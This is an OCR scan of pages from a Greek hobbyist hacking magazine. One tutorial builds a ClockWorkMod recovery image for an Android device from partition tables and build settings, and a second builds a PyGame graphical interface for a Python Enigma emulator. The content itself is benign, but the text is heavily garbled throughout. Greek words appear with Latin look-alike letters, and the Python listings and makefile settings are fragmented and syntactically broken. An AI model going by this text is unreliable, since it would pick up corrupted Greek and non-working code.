σχετικά images δε θα χωράνε στη συσκευἠ. Από την GAAn, αν εἶναι 
μικρότερα ενδέχεται να µην επαρκούν για όλα τα αρχεία Tou Android. 


Πριν ano τη μεταγλώττιση του ClockWorkMod και yia va εξασφαλίσουµε ὁτι το TE- 
λικὀ παράγωγο θα εκτελείται στη συσκευἠ µας κανονικὰ, πρέπει να ακολουθήσουμε 
τρία βήματα: 


1. Πρέπει να αντικαταστήσουμε τον πυρήνα rou Linux nou βρίσκεται στα αρχεἰα 
TOU Elf II (αυτά που κατεβάσαμε ano To GitHub), µε τον πυρήνα που πήραμε 
ano τον κατασκευαστή της συσκευἠς µας. 


2. Πρέπει va βεβαιωθούμε ori το αρχείο recovery.fstab περιλαμβάνει τις KaTa- 
τμήσεις που διαθέτει NSN η συσκευἠ µας. 


3. Πρέπει να βεβαιωθούμε ὁτι ορισμένες ρυθμίσεις στο αρχείο BoardConfig.mk 
εἶναι κατάλληλες για το σὐστημά µας. 


Πριν ξεκινήσουμε, να τονίσουμε OT! οι παραπάνω επεμβάσεις θα πραγματοποιηθούν 
σε αρχεία nou βρίσκονται στον κατάλογο cm10.1/device. Με άλλα λόγια, πρὀκειται 
για αρχεία που κατεβάσαµμε νωρίτερα και αφορούν στο Elf II (η συσκευἠ nou εἶναι 
παρόμοια µε τη OIKN µας). 


Πα την αντικατάσταση του πυρήνα πρέπει να ανατρἑξουµε στο nak£ro µε τον πηγαἰο 
κώδικα που πήραμε απὀ τον κατασκευαστή της συσκευἠς µας. Ουσιαστικά, AUTÒ που 
χρειαζόμαστε εἶναι το αρχείο uImage και θα το βρούμε στον κατάλογο out. 


Πα τη σωστή συμπλήρωση του recovery.fstab θα χρειαστεἰ λίγη παραπάνω δου- 
λειά. Όπως εἶπαμε non, Πρέπει να µάθουµε ποιες κατατμήσεις περιλαμβάνει Hon η 
συσκευἠ µας. Πα το σκοπὀ αυτό έχουμε δύο επιλογές. H μία εἶναι να κατεβάσουμµε 
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M Terminal - giannoug@android-playground: ~ — ox 
File Edit View Terminal Tabs Help 


Πα va μάθουμε τα σωστά μεγέθη, αρκεί να χρησιμοποιήσουμε ro fdisk! To συγκε- 
κριμένο npóypaupa θα µας δώσει τις OXETIKEG τιμές, ακριβώς µε τη µορφή που τις 
χρειαζόμαστε. 


κάποια δωρεάν εφαρµογἡ που παρέχει shell access στη συσκευἠ (kànoio terminal, 
δηλαδἠ) και να δώσουμε "cat /proc/partitions" και "cat /proc/mtd". Η δεύτερη λύση 
εἶναι να χρησιμοποιήσουμε το ADB (Android Developer Bridge). Πρόκειται για µια 
εφαρµογή που θα εγκαταστήσουµε στον υπολογιστή µας και η οποία προσφέρει 
πλήρη πρόσβαση στη γραμμή εντολών της συσκευἠς. Με τη βοήθεια της ἰδιας εφαρ- 
μογἠς θα μπορούμε αργότερα να κάνουμε και debugging, στην περίπτωση nou αντι- 
μετωπίσουμε προβλήματα µε την εκκίνηση του CyanogenMod. Πα την εγκατάσταση 
του ADB στο δικὀ µας σύστημα, εκτελέἐσαµε AUTÒ: 


$ sudo apt-get install android-tools-adb 


Μετὰ την εγκατάσταση συνδέσαμε τη συσκευἠ στον υπολογιστή, μέσω USB. Κατό- 
niv, απὀ τις ρυθμίσεις του Android και συγκεκριµένα την περιοχἠ Developer options, 
ενεργοποιἠσαµε το USB debugging. Ακολούθως, στραφἠκαμε NAA! στον υπολογιστή 
μας και εκτελἑέσαµε το "adb shell". Με αυτόν τον τρόπο συνδεθήκαμε αµέσως στη 
OUOKEUN και μάλιστα µε δικαιώματα root! Εκεἰ εκτελέσαµετις εντολὲς που αναφἑρα- 
µε παραπάνω, yia να δούμε τις κατατμήσεις που περιλαμβάνει το σύστημα. 


^ # cat /proc/partitions 


major minor #blocks name 

31 0 8192 mtdblocke 
31 1 8192 mtdblock1 
31 2 8192 mtdblock2 
31 3 8192 mtdblock3 
31 4 8192 mtdblock4 
31 5 1052672 mtdblock5 
31 6 262144 mtdblock6 
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31 7 1048576 mtdblock7 
31 8 5959680 mtdblock8 
250 20 917504 system 
250 24 229376 cache 
250 28 917504 data 
250 32 5216256 media 
253 θ 7639040 cardblksd 
253 1 7636992 cardblksd1 
~ # cat /proc/mtd 
dev: size erasesize name 


mtd@: 00800000 00200000 "bootloader" 
mtd1: 00800000 00200000 "logo" 

mtd2: 00800000 00200000 "aml logo" 
mtd3: 00800000 00200000 "recovery" 
mtd4: 00800000 00200000 "boot" 

mtd5: 40400000 00200000 "system" 
mtd6: 10000000 00200000 "cache" 
mtd7: 40000000 00200000 "userdata" 
mtd8: 16bc00000 00200000 "NFTL Part" 


CHM-based Recovery by giannoug v6.0.3.6 


install zip 

wipe data/factory reset 
wipe cache partition 
backup and restore 
mounts and storage 
advanced 


To recovery image που δημιουργήσαμε, 
σε ὀλο του TO μεγαλείο! 


CHM-based Recovery by giannoug v6.0.3.6 
Marning: No file_contexts 
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Y Terminal - giannoug@android-playground: ~/cm10.1 - + X 
File Edit View Terminal Tabs Help 


Κατά τη διάρκεια της μεταγλώττισης μπορούμε va δούμε ποιο κομμάτι του CyanogenMod 
µεταγλωττίζεται την εκάστοτε χρονικἠή στιγµή! Στο τέλος εΙδοποιούµαστε yia TO αν δηµι- 
ουργήθηκε το recovery.img ἡ ὀχι. 


Όπως βλέπετε, στη δικἠ µας συσκευἠ υπάρχουν ορισμένες κατατμήσεις µε TO ἴδιο 
ὀνομα, τόσο στην κάρτα μνήμης, ὁσο και στην ενσωματωμένη Flash. AUTO οφείλεται 
σε µια ιδιαιτερότητα TOU driver που ενσωματώνει ο πυρήνας, για TO σωστὸ χειρισμό 
της ενσωματωμένης µνήµης’. Όπως και να 'χει, αυτἠ η ιδιαιτερότητα δεν θα πρέπει 
να σας ανησυχἠσει καθόλου. Επιπρόσθετα, στη συσκευἠ σας ενδέχεται να δείτε πε- 
ρισσότερες ἡ και λιγότερες κατατμήσεις anó αυτὲς που συναντήσαμε εμείς! Σε opi- 
σμένες OUOKEUEG υπάρχουν ειδικἐς κατατμήσεις που χρησιμοποιούνται αποκλειστικἁ 
ano το SoC, ενώ στα μοντέλα της Samsung κάποιες κατατμήσεις εἶναι συνενωμένες 
(recovery και boot). Σε κάθε περίπτωση, δεν υπάρχει κανένας λὀγος ανησυχίας. Όλα 
αυτά αποτελούν τεχνικὲς λεπτομέρειες που δεν επηρεάζουν καθόλου την εργασία 
μας και την τελικἠ επιτυχία του εγχειρήματος. Το σηµαντικό εδὠ εἶναι va τσεκάρου- 
µε τις βασικὲς κατατμήσεις: Αυτὲς nou ἐχει κάθε σύστημα Android και πρὀκειται για 
τις bootloader, system, data, cache, boot και recovery (αν υπάρχουν και οι δύο). 


Εμείς, εξετάζοντας τις κατατμήσεις που EVTONIOGHE στη συσκευἠ µας, ανοἰξαµε To / 
cm10.1/device/recovery.fstab και το συμπληρώσαμε ως EENG: 


# mount point fstype device device2 
/bootloader mtd bootloader 
/logo mtd logo 

/aml logo mtd aml logo 
/recovery mtd recovery 


2. H ενσωματωμένη μνήμη εἶναι συνήθως τύπου NAND ἡ NOR. Αυτές οι μνήμες αντέχουν ἑνα συγκεκριµένο πλήθος εγγραφών και, γι’ αυτό 
το λὀγο, ο αντίστοιχος controller φροντίζει να ισομοιράζονται οι εγγραφὲς σε όλη τη διαθέσιμη ἑκταση. Ορισμένες συσκευές, μεταξύ των οποίων 
και η δικἠ µας, δεν διαθέτουν τέτοιον ελεγκτή! Σε αυτές, η ευθύνη για τον προσεκτικὀ χειρισµὀ της μνήμης μετατίθεται σε κατάλληλους drivers 
του πυρήνα. 
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/boot mtd boot 

/system ext4 /dev/block/system 
/cache ext4 /dev/block/cache 
/data ext4 /dev/block/data 

/emmc vfat /dev/block/media 
/sdcard vfat /dev/block/cardblksd@ 


Οι πρώτες κατατμήσεις δεν χρησιμοποιούν κάποιο σύστημα αρχείων και διατηρούν 
τα ὁποια δεδομένα απαιτεἰ η συσκευἠ σε µορφή raw. Μάλιστα, οι κατατμήσεις logo 
και aml logo εἶναι πρακτικἀ άχρηστες και θα μπορούσαμε κάλλιστα να τις napa- 
λείψουμε. Εάν αντιμετωπίσετε κἄποια δυσκολία σε αυτό το στάδιο ἡ αν απλά έχετε 
αμφιβολίες, μπορείτε να pi&ere µια ματιὰ στο περιεχόµενο του ομώνυμου αρχείου, 
στο πακέτο µε τον nnyaio κώδικα που πήρατε ano rov κατασκευαστὴ της συσκευής! 


Το τελευταίο βήμα, πριν προχωρήσουμε στη μεταγλώττιση του ClockWorkMod, ci- 
ναι να αλλάξουμε ορισμένες ρυθμίσεις στο αρχείο cm10.1/device/BoardConfig.mk. 
Συγκεκριµένα, πρέπει να βεβαιωθούμε OT! οι τιμὲς για τα μεγέθη των κατατµήσεων 
εἶναι σωστές! Αυτές oi τιμές χρησιμοποιούνται για τη δημιουργία των αντίστοιχων 
images (boot.img, recovery.img, system.img, κ.ο.κ.), που απαιτούνται για TO TEAIKO 
χτίσιμο του Android. Αφού ανοίξουμε ro BoardConfig.mk, πρέπει να βρούμε το akò- 
λουθο απὀσπασμα: 


TARGET USERIMAGES USE EXT4 :- true 
BOARD BOOTIMAGE PARTITION SIZE :- 8225280 
BOARD SYSTEMIMAGE PARTITION SIZE :- 939524096 


BOARD USERDATAIMAGE PARTITION SIZE :- 939524096 


Αυτὀ nou πρέπει va προσέξουμε αρχικά εἶναι o opiopóc του συστήµατος αρχείων. 
Edm θα ἦταν Mpovipo va ρίξουμε µια ματιά στο ομώνυμο αρχεἰο, στον nnyaio κὠδικα 
που πήραμε ano τον κατασκευαστή. Βλέπετε, oi drivers yia τα συστήματα αρχείων 
αποτελούν μέρος του πυρήνα. Επομένως, εφόσον χρησιμοποιούμε τον εργοστασια- 
KO πυρήνα, θα πρέπει να επιλέξουμε και το ἰδιο ακριβώς σύστημα αρχεἰων! Στη συνὲ- 
χεια, πρέπει να συμπληρώσουμε τα σωστὰ μεγέθη yia τις κατατμήσεις boot, system 
και data. Για να πάρουμε αυτή την πληροφορία, αρκεἰ να συνδεθούµε στη συσκευἠ 
μας µέσω adb και να χρησιμοποιήσουμε το πρόγραμμα fdisk. Συγκεκριµένα, αρκεἰ 
να δώσουμε KATI τέτοιο: 


~ # fdisk -1 /dev/block/boot 


Με auróv rov τρόπο θα εμφανιστεί το μέγεθος της κατάτµησης boot και μάλιστα στη 
μορφή ακριβώς nou το χρειαζόμαστε, για τη σωστή συμπλήρωση του BoardConfig. 
mk. Με τον ἰδιο τρὀπο μαθαίνουμε και τα μεγέθη των υπολοίπων κατατµήσεων. 


Χτίσιμο του recovery image 


Επιτέλους! Εἱμαστε ἐτοιμοι va µεταγλωττίσουμε το ClockWorkMod και να ετοιμά- 
OOUHE TO VEO recovery image yia τη συσκευἠ µας. Πλέον, αρκεἰ να μεταβούμε στον 
κατάλογο cm10.1 και va εκτελέσουµε τα ακόλουθα: 

mka clean 

mka recoveryimage 
Όπως ἐχουμε ξαναπεί, µε την πρώτη "εντολή" θα διαγραφούν όλα ra παραπροϊόντα 
ano τις προηγούμενες µεταγλωττίσεις. H εκτέλεση της δεύτερης εντολἠς νομίζουμε 
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ότι έχει προφανἠ λειτουργία. Όταν ολοκληρωθεί η µεταγλὠττιση, στον κατάλογο 
cm10.1/out θα υπάρχει το recovery.img. Τώρα μένει να ro εγκαταστήσουµε στη 
συσκευἠ µας. Όπως ἐχουμε αναφέρει στο παρελθὀν, αυτή η διαδικασἰα διαφοροποι- 
εἶται GNO συσκευἠ σε συσκευἠ και ἰσως va χρειαστεἰ λίγο ψάξιμο στο δίκτυο. Στη 
δικἠ µας περίπτωση, πάντως, ἦταν GPKETO να μετονομάσουμε το recovery.img σε 
uImage recovery και va το αντιγράψουµε στην κἆρτα μνήμης. Αμέσως μετά, uno- 
ρούμε va επανεκκινήσουμε τη συσκευἠ σε recovery mode. Av όλα ¿xouv nåes καλὰ, 
η οθόνη της συσκευής µας θα εμφανίσει την τελευταία ἐκδοση του CWM! 


Σχεδὸν έτοιμοι 


Το ClockWorkMod recovery image Παίζει το σημαντικότερο ρόλο στην εγκατάσταση 
και στο ενδεχόμενο debugging του CyanogenMod. Εξάλλου, μέσα ano αυτό uno- 
ρούμε va διαχειριστούμµε πλήρως τη συσκευή! Σκεφτείτε OT! ακόµη κι αν το κύριο 
λειτουργικὀ σύστημα ἐχει προβλήματα ἡ αν η κατάτµηση boot ἐχει καταστραφεί, TO 
recovery image θα λειτουργεἰ πάντα! Επομένως, µε τη βοήθεια του ADB θα ἐχουμε 
πάντοτε πρὀσβαση στη γραμμή εντολών του συστήματος και θα μπορούμε να Kå- 
νουµε τα πάντα στη συσκευή. Στο άρθρο nou αρχίζει and τη σελἰδα 74 θα χτίσουμε 
το CyanogenMod και θα δούμε τις αλλαγἐς/διορθώσεις που χρειάστηκε να κἄνουμε 
εμεὶς, για τη σωστἠ λειτουργία του στη συσκευἠ µας. 


|- 57300 - File Manager - κο 
File Edit View Go Help 
/home/giannoug/cm10. 1/out/target/product/s7300/ È 
DEVICES 
— an iu afl 
ΕἸ Floppy Disk external obj symbols 
PLACES 
I] Desktop system Clean steps.mk previous build co — ramdisk.img 
É Trash nfig.mk 
NETWORK 
4 | 
Browse Network 
| 
R ramdisk- ramdisk- recovery.img 
recovery.cpio recovery.img | 
13 items (17,1 MB), Free space: 197,7GB —  Θ. E 4 


To recovery.img εἶναι ἐτοιμο yia αντιγραφἠ στην κάρτα SD! Σε περίπτωση που η 
συσκευή µας δεν υποστηρίζει boot ano την κάρτα SD, θα χρειαστεί να βρούμε τις 
σχετικές οδηγίες yia τη συσκευἠ µας. To Google search θα µας βοηθήσει. 
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To deltaHacker είναι το ένα και µοναδικό 
περιοδικό µε θεματολογία το ethical 
hacking, τα δίκτυα και την ασφάλεια, τον 
προγραμματισμό και τα ηλεκτρονικά. 


To deltaHacker δεν γυρνάει εδώ κι εκεί στα 
περίπτερα, αλλά για δεύτερη χρονιά στη σειρά 
έρχεται κατευθείαν σ' εσάς. 


Αν είστε από εκείνους που δεν βλέπουν τον 
υπολογιστή τους WG άλλη µια οικιακή συσκευή 
και δεν αντιμετωπίζετε το Internet ως ένα 
δίκτυο που αρχίζει και τελειώνει µε TO Facebook 
και το Twitter, τότε είναι 10996 βέβαιο ότι θα 
αγαπήσετε το deltaHacker, καθώς κι ότι θα 
θέλετε την παρέα του κάθε µήνα. 


Παραγγείλετε τώρα µία από τις συμφέρουσες 
συνδρομές από το 
http://deltahacker.gr/pdf120rder 
(ηλεκτρονική έκδοση) 

ή από το 

http://deltahacker.gr/order 

(έντυπη έκδοση, έως το τεύχος 019) 


Σηµείωση: Την ύλη όλων των τευχών που 
έχουν κυκλοφορήσει ως τώρα µπορείτε να τη 
βλέπετε στο 


deltahacker.gr/category/magazine-issues 


soe 


| , JU xd } 
| na | E an TEA, 

y Skill: Intermediate 

/ Tags: encryption, cryptography, Enigma, Python 
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The Enigma Reborn - Μέρος 4o: Ano onAo σε παιχνἰδι! 


Στο σχετικὀ άρθρο rou τεύχους 023 ολοκληρώσαμε την text-based 
εκδοχἠ της Enigma. Κατορθώσαμε να ανακαλύψουμµε ὅλα ra μυστικἁ της 
κρυπτογρἀφησἠς της και va τα εξομοιώσουμε πλήρως στην αγαπημένη 
Hac Python. Σημαντικοί µας σύμμαχοι υπήρξαν φυσικά οι διάφορες 
εκπληκτικὲς λειτουργίες της γλὠσσας, ὅπως, N.X., ra dictionaries. 


" NUN ka Ἐπ 


nigma Reborn - Μέρος 4o: And όπλα σε παιχνίδι | 
4 


Όμως µια text-based εκδοχἠ της Enigma εἶναι καλἠ Ooo χρειάζεται για να ανιχνεύ- 
coupe και να υλοποιήσουμε τη βασικἠ λειτουργία της μηχανής. Εκτὸς ano τους hard 
core ΙΝΙΧάδες, όλοι οι υπόλοιποι περιμένουν περιβάλλον γραφικών για ra προγράμ- 
ματα τους. Και βέβαια ξέρουμε ὁτι εσάς, τους φανατικούς FreeBSD users, δεν σας 
χαλάει το terminal και το text mode. Όπως και να χει, όμως, δεν θέλουμε η Enigma 
μας να διαθέτει interface πιο δύσχρηστο κι ano την original µηχανἠ των Γερμανικών 
υποβρυχίων! 


‘Eva θέµα nou έχουμε va αντιμετωπίσουμε εἶναι η μετατροπή αυτού του text interface 
σε γραφικὀ. Τα προβλἠματάἁ µας εἶναι δύο. 


ο Ποια βιβλιοθήκη θα χρησιμοποιήσουμε; Εδώ, επιλἐξαµε ro PyGame. Θα uno- 
ρούσαμε επἰσης να χρησιμοποιήσουμε το wxPython, αλλά καθώς έχουμε µια 
κατὰ βάση γραφικἠ αναπαράσταση της αρχικής Enigma, To PyGame βολεύει: 
Τελικά, ὁπως θα Seite, θα σχεδιάζουμε γραμμὲς και κύκλους. Εἶναι παιχνἰδι! 

ο Μπορούμε άραγε να προσθἐσουµετις λειτουργίες γραφικών επηρεάζοντας óoo 
το δυνατὸ λιγότερο τον κὠδικα που έχουμε ἠδη γράψει; Δεν εἶναι καθόλου — 
μα, καθόλου-- επιθυµητὀ να χρειαστεἰ να πειράξουµε οτιδήποτε EXE! να κάνει 
µε την κρυπτογρἀφηση/αποκρυπτογράφηση. Απλά, µε κάποιον τρόπο, πρέπει 
να προσθέσουμε λειτουργικότητα στις κλάσεις µας, WOTE va µας παρουσιάζουν 
*kai* γραφικά αυτό που κάνουν ἠδη µια χαρὰ µε το κείμενο. 


Όπως θα Seite, τα προβλήµατα αυτά λύνονται. Το PyGame ὁμως δεν εἶναι φτιαγμένο 
για να δημιουργεἰ interfaces, τουλάχιστον OXI µε την ἐννοια του wx. Δεν ἐχει λοιπὸν 
κουμπάκια, πεδία εισαγωγἠς κειμένου (text boxes) και ἄλλα τέτοια καλούδια. Κι αν 
και το μισὸ γραφικὀ µας πρὀγραμμα χρειάζεται την αμεσότητα σχεδίασης nou µας 
παρέχει το PyGame, το ἄλλο μισὸ εκλιπαρεἰ για ἐτοιμα τέτοια controls. Τι κἄνουμε 
σε αυτή την περίπτωση; Μα, φυσικά τα φτιάχνουμε! 

Μια υλοποίηση TextBox, αλλά για το PyGame 


Ξεχάστε τις ευκολίες TOU wx µε ra ἑτοιμα controls kai το wxGlade για va ra σχεδιά- 
σετε. Στο PyGame τα πάντα εἶναι... παιχνίδια, δουλεύουν µε καρὲ και TETOIOU εἴδους 
native controls δεν υπάρχουν. Ἡ μᾶλλον δεν υπήρχαν, γιατὶ ropa ξεκινήσαμε να τα 
φτιάχνουμε εμείς. Θα χρειαστούµε ενὸς εἶδους textbox στο οποίο θα μπορούμε: 


ο να γράφουμε σαν σε input box (για να δίνουμε την εἰσοδο στη μηχανή) 
ο να λαμβάνουμε την ἑξοδο ως εκτύπωση 


ο va τα χρησιμοποιούμε ως clickable objects, ónou Χρειάζεται: θα δρουν σαν 
κουμπάκια, n.x., yia ν΄ αλλάζουμε ring settings και rotor starting positions. 


Ωραία. Τι χρειάζεται να ἐχει ἑνα textbox; 
ο θέση 
ο πλάτος και ύψος 
ο χρώμα κειμένου και φόντου 
ο ενδεχομένως va αρχικὀ κείμενο 
ο επιλογὲς του τύπου το κείμενο να εμφανίζεται κεντραρισμἑνο (το χρειαζόμα- 
στε για τα κουμπάκια) ἡ περίγραμμα γύρω Tou. 
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Αντίστοιχα, καλό θα εἶναι να µας παρέχει τις ακόλουθες λειτουργἰες: 


- setText, yia να θέσουμε Eva κείµενο σε AUTÒ 


clearText, yia να OBNOOULE το κείμενο 


- getClicked, για να δούµε αν ο χρήστης ἑκανε κλικ πάνω σε AUTÒ 


- και φυσικά τη show, για να απεικονιστεἰ στο PyGame χρησιμοποιώντας τη γνωστή 


μας blit. 


Πα τις λειτουργίες αυτὲς θα χρειαστεἰ φυσικά να γράψουμε και κάποια ακόμα uno- 
στηρικτικἁ member functions (yia να βρούμε, n.x., το αντικείµενο Rectangle, το 
οποίο δημιουργείἰται και να ελέγξουμε av Exel γίνει click ano το χρήστη. Ας δούμε 
λἰγο απὀ rov κὠδικα rou text box: 


class TextBox(object): 


def init (self, x,y, width, height, back color, text color, 
text=",centered = False, bordered = False): 


self. 
yy 
self. 
self. 
self. 
self. 
self. 
self. 
self. 


self 


xX = Χ 


width = width 

height = height 

rect = (x,y, width, height) 
back_color = back_color 
text_color = text_color 
centered = centered 


bordered = bordered 


© | TextBox Sample App 


Input: THISISNOTAREALENIGMA 


Output: UIJTJTOPUBSFBMFOJHNB 


Η υλοποίηση User Interface σε PyGame εἶναι Κάπως παρά- 
ξενη. To PyGame ἐχει φτιαχτεί για να πυροβολούμε εξωγή- 
IVOUG KI OXI yia να σχεδιάζουμε κουμπάκια. Ωστόσο, ακόµα 
και στα παιχνίδια χρειάζονται κουμπάκια και text-boxes. 
Πώς ἄλλωστε θα γράψουμε το ὀνομα µας στο High Score 
Table; Εδώ ἔχουμε µια γρήγορη (quick & dirty) υλοποίηση 
για va µπορέσουµε va επικεντρωθούµε στα υπόλοιπα ypa- 
φικἀ κομμάτια που µας ενδιαφἑρουν. 
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self.text - text 
self.textfont - pygame.font.SysFont('Verdana", 18, True) 


self.thetext = self.textfont.render(self.text, True, self.text color, 
self.back color) 


Προφανώς, περνάμε τις περισσότερες anó τις παραμέτρους nou εἶπαμε στον 
constructor του TextBox. lia λόγους απλότητας, ἐχουμε ορἰσει µια συγκεκριμένη 
γραμματοσειρά και δεν δίνουμε επιλογὲς (KATI που μπορείτε να φτιάξετε Eva απὀ- 
γευµα που θα βαριἐστε). Πα να γράψουμε κείμενο χρησιμοποιούμε τη setText: 


def setText(self, text): 
self.text - text 


self.thetext = self.textfont.render(self.text, True, self.text color, 
self.back color) 


Έχουμε προβλέψει το keiuevó µας να αποθηκεύεται εσωτερικἀ στη μεταβλητἠ self. 
text, kàri που θα χρειαστούμε σίγουρα καθὠς θα πρέπει να προσθέτουμε χαρακτή- 
PEG στα πεδία εισὀδου/εξὀδου, καθώς πιἐζουµε πλήκτρα yia την κρυπτογράφηση! 
Τέλος, η συνάρτηση Show εἶναι επίσης σχετικἁ απλή: 
def show(self, surface): 
pygame.draw.rect(surface,self.back color, self.rect) 
if self.bordered: 
pygame.draw.rect(surface, (0,0,0), self.rect, 2) 


y = self.y + (self.height - self.thetext.get height())/2 
if self.centered: 
X = self.x + (self.width - self.thetext.get width())/2 
else: 
X = self.x 
surface.blit(self.thetext,(x, y)) 
Αν έχουμε αποφασίσει va χρησιμοποιήσουμε περἰγραμμα (bordered = True), εδὠ 
γίνεται και η σχεδἰασἠ του. Αν ro κεἰμενὀ µας εἶναι κεντραρισµένο, βρίσκουμε τη 
σωστή συντεταγμένη X για να ξεκινήσουμε τη σχεδίαση. Στον κατακόρυφο ἄξονα το 
κείμενο µας εἶναι πάντα κεντραρισμένο! 
Πα να δείτε nog µπορεὶ να χρησιμοποιηθεἰ η κλάση µας, πάρτε το πρὀγραμμα 
textbox.py ano ro ZIP στο http://bit.ly/dh24enigmasrc κι EKTEAEOTE το (στα τρία 
µέτρα). Μπορείτε va πιἑζετε πλήκτρα τα οποία θα εμφανίζονται στο textbox µε την 
ένδειξη Input, καθώς και το αποτέλεσµα της "κρυπτογράφησης" oro Output. To 


"πλήκτρο" clear καθαρίζει το περιεχόμενο και των δύο. Και, ὀχι, η κρυπτογράφηση 
δεν εἶναι Enigma — δείτε τον κὠδικα! 


Napatnpnote nooo αστείο εἶναι το γεγονὸς ὁτι αν πιἑζετε πλήκτρα συνέχεια, το πε- 
ριεχόμενο των text-boxes ξεχειλίζει. Αφήνουμε σε εσἁς την εισαγωγἠ στειχειώδους 
ελέγχου, WOTE αυτό va µη συμβαίνει. 
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Γραφικοί rotors 


Γραφικοί µε την ἐννοια της σχεδίασης, OXI µε την ἐννοια των αστεἰων. Αν και μ’ αυτὰ 
τα χρώματα nou ἐχουμε επιλέξει, μάλλον σε παιδικὀ παιχνίδι έχουμε υποβιβάσει την 
Enigma. Ας σοβαρευτούμε, όμως: Θέλουμε ρὀτορα περίπου ὁπως στην εξομοίωση 
του enigmaco.de: Κύκλο µε γράμματα, που να περιστρἐφεται. Θέλουμε ακόµα τη 
δυνατότητα να δείχνουμε µε τη µορφή kànoiou διαφορετικού χρώματος (highlight) 
τα επιλεγμένα γράμματα. Μάλιστα, έχουμε δύο κύκλους γραμμάτων: Τον εξωτερικὀ, 
που αντιπροσωπεύει την εἰσοδο (δεξιά μεριά του ρὀτορα), καθὼς και τον εσωτερικὀ, 
που αντιπροσωπεύει την ἐξοδο (αριστερή μεριά). Δείτε λοιπὸν τι έχουμε κἀνει στο 
Rotor class: 


ο Έχουμε προσθέσει τη μεταβλητή self.radius, που εἶναι η ακτίνα της γραφικής 
αναπαράστασης. Από αυτἠ παράγουμµε ric μεταβλητὲς self.ring. radius και self. 
axle radius. 


ο Έχουμε προσθέσει αντίστοιχα μεταβλητές yia χρώματα, δίνοντας και default 
τιμές στον constructor WOTE να μπορούμε va τον καλέσουμε σχεδὸν το ἰδιο 
απλἀ, ὁπως και στην text εκδοχἠ της Enigma. 


Ας ξεκινήσουμε βλέποντας τι έχουμε κἀνει στην συνάρτηση show για τον ρότορα: 


def show(self, surface, forward letter color-(255,0,0), reverse letter 
color=(@,255,0)): 


pygame.draw.circle(surface, self.rotor_color, (self.x, self.y), self. 
rotor_radius) 


pygame.draw.circle(surface, self.ring color, (self.x, self.y), self. 
ring radius) 


pygame.draw.circle(surface, self.axle color, (self.x, self.y), self. 
axle radius) 


Σχεδιάζουµε τρεις κύκλους µε τα κατάλληλα χρώματα: 
self.drawLetters(surface) 

Σχεδιάζουµε ra γράμματα της δεξιάς και αριστερἠς μεριᾶς του ρὀτορα: 
if self.forward cipher highlight: 


self.highlightLetters(surface, self.forward cipher highlight, 
forward letter color) 


if self.reverse cipher highlight: 


self.highlightLetters(surface, self.reverse cipher highlight, 
reverse letter color) 
Αν EXOUHE κάποια συγκεκριμένη εἰσοδο και ἐξοδο, τονἰζουµε ra avrioroixa γράμμα- 
τα. Φαίνεται απλὀ και περιἐχει ελάχιστες εντολἐς. Μέχρι βέβαια να συνειδητοποι- 
ἠσουµε ὁτι, συναρτήσεις ὁπως drawLetters και highlightLetters, θα πρέπει να τις 
γράψουμε εμείς. Πόσο εὐκολο εἶναι va κατανείµουµε 26 γράμματα στην περιφἑρεια 
ενὸς κύκλου; O κύκλος ἐχει 360 μοίρες, àpa ro Eva γράμμα ano το dAAo θα απέχει: 


self.angle step - 360.0/26.0 


To onoio, ὁπως βλέπετε, υπάρχει στον constructor rou Rotor class. H εκτύπωση των 
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Input: AAAAAA 


Output: DFHJLC 


Ποτέ δεν θα πιστεύατε OT! θα χρειαζόσαστε ημίτονα, συνημίτονα και 
τριγωνομετρικούς κύκλους για την γραφική εξομοίωση της Enigma. Πόσο 
γελασμένοι ἠσασταν, ὀμως! Άλλο να μιλάς για ρότορες που περιστρἐφο- 
ντα! κι ἆλλο να πρέπει να τους yupvág στην οθὀνη σου. Μετανιώστε όσο 
θέλετε yia τη φυσική rj/kai τα μαθηματικά που δεν παρακολουθούσατε στο 
Λύκειο. Καλό το Gameboy στο τελευταίο θρανίο, αλλά να τώρα: Όποιος 
γράφει τα παιχνίδια γελάει τελευταίος. Και καλύτερα :) 


γραμμάτων γίνεται µε δύο ουσιαστικά όμοιες συναρτήσεις (και ναι, μπορείτε να τις 
συγχωνεύσετε σε µια µε μερικὲς αλλαγές). Ας δούμε noc: 


def printExternalletter(self, surface, position, color=(255,0,0)): 
textfont - pygame.font.SysFont("Courier New",18, True) 
angle = -90 + self.angle step * position 
letter = 65 + position + self.position 
if letter > 90: 
letter = letter - 26 


thetext = textfont.render(chr(letter), True, color, self.letter_ 
background_rotor) 


offset x = thetext.get width()/2.0 + 6 * self.correction factor 
offset y = thetext.get height()/2.0 + 6 


X = (self.rotor radius-offset x)*math.cos((math.pi*angle)/180.0) + 
self.x - 5.0 
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y = (self.rotor radius-offset y)*math.sin((math.pi*angle)/180.0) + 
self.y - (5.0 * self.correction factor) 


surface.blit(thetext, (x,y)) 
H γωνία nou θα εμφανιστεί το γράμμα υπολογίζεται ano τη σχέση: 
angle = -90 + self.angle step * position 


iari όμως -90; Av To position εἶναι 0 (το πρὠτο γράμμα rou ρὀτορα), θἐλουµε το 
γράμμα να εμφανιστεί στην κορυφή rou ρότορα. Κι αν νομίζετε ὁτι το σωστό εἶναι 
+90, ξανασκεφτεῖίτε noc μεταβάλλονται οι συντεταγμένες του PyGame σε σχέση µε 
τους ἆξονες nou σχεδιάζατε στο Λύκειο! Από εκεἰ και πέρα, yia να βρούμε τη θἐση 
του γράμματος χρειαζόμαστε κάτι στο στυλ: 


x = radius * ouv(angle) 

y = radius * npg(angle) 
Απλά πρέπει va προσθέσουµε kai την αρχικἡ µετατόπισἡ µας, καθὼς o ρὀτοράς µας 
δεν εἶναι στο (0,0): 

x = radius * ouv(angle) + self.x 

y = radius * nu(angle) + self.y 


τελικά, αυτά ra μαθηματικἁ nou *ógv* διαβάζατε στο Λύκειο, ἐρχονται τώρα να σας 
στοιχειώσουν! (Σας ro ἐλεγα εγώ, NSN and το PyGame invaders, αλλά εσεἰς τίποτα.) 
Κι εντάξει, ἑστω το καταλάβατε, αλλά και NGAI noc καταλήξαμε εδὠ ano τις napa- 
πάνω σχέσεις; 


X = (self.rotor radius-offset x)*math.cos((math.pi*angle)/180.0) + self.x 
- 5.0 


y = (self.rotor_radius-offset_y)*math.sin((math.pi*angle)/180.0) + self.y 
- (5.0 * self.correction_factor) 


Μα, βλέπετε, δεν θέλουμε Ta γράμματα να πέσουν ακριβώς πάνω στο περίγραμμα 
του κύκλου! Έχουμε λοιπὀν διακριτικἀ μειώσει την akriva σχεδίασης, αφαιρώντας κι 
ano τους δύο ἄξονες Eva αντίστοιχο offset: 


